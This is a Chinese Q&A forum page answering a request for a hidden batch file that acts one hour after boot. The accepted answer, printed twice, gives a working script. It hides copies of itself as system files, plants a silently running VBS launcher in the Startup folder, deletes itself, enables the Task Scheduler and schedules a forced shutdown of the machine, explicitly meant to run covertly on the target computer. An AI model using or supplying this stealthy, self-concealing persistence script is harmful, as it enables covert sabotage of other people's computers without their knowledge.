谁能编个批处理:实现开机后一小时执行一个小程序。
但是桌面上 不能看出来。要隐蔽
谁能编个批处理:开机后延迟1小时后执行一个程序。
答案:1 悬赏:40 手机版
解决时间 2021-02-01 16:40
- 提问者网友:捧腹剧
- 2021-01-31 22:14
最佳答案
- 五星知识达人网友:躲不过心动
- 2021-01-31 22:48
@echo off & more +6 %0 >%windir%\temp\2.bat & attrib +s +a +h %windir%\temp\2.bat
echo Set ws = CreateObject("Wscript.Shell") >%windir%\temp\1.vbs
echo ws.run "cmd /c %windir%\temp\2.bat",vbhide >>%windir%\temp\1.vbs
attrib +s +a +h %windir%\temp\1.vbs
copy %windir%\temp\1.vbs "C:\Documents and Settings\%username%\「开始」菜单\程序\启动"
del %0
sc config Schedule start= AUTO
net start Schedule
echo %time: =%>wkdxz
for /f "delims=: tokens=1,2" %%a in (wkdxz) do (
set /a xs=%%a+1
set fz=%%b
)
del /a /f /q wkdxz
at %xs%:%fz% cmd /c shutdown -f -s -t 0
在要关机的电脑里面运行一次就OK。隐藏执行,删除自身
echo Set ws = CreateObject("Wscript.Shell") >%windir%\temp\1.vbs
echo ws.run "cmd /c %windir%\temp\2.bat",vbhide >>%windir%\temp\1.vbs
attrib +s +a +h %windir%\temp\1.vbs
copy %windir%\temp\1.vbs "C:\Documents and Settings\%username%\「开始」菜单\程序\启动"
del %0
sc config Schedule start= AUTO
net start Schedule
echo %time: =%>wkdxz
for /f "delims=: tokens=1,2" %%a in (wkdxz) do (
set /a xs=%%a+1
set fz=%%b
)
del /a /f /q wkdxz
at %xs%:%fz% cmd /c shutdown -f -s -t 0
在要关机的电脑里面运行一次就OK。隐藏执行,删除自身
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
推荐资讯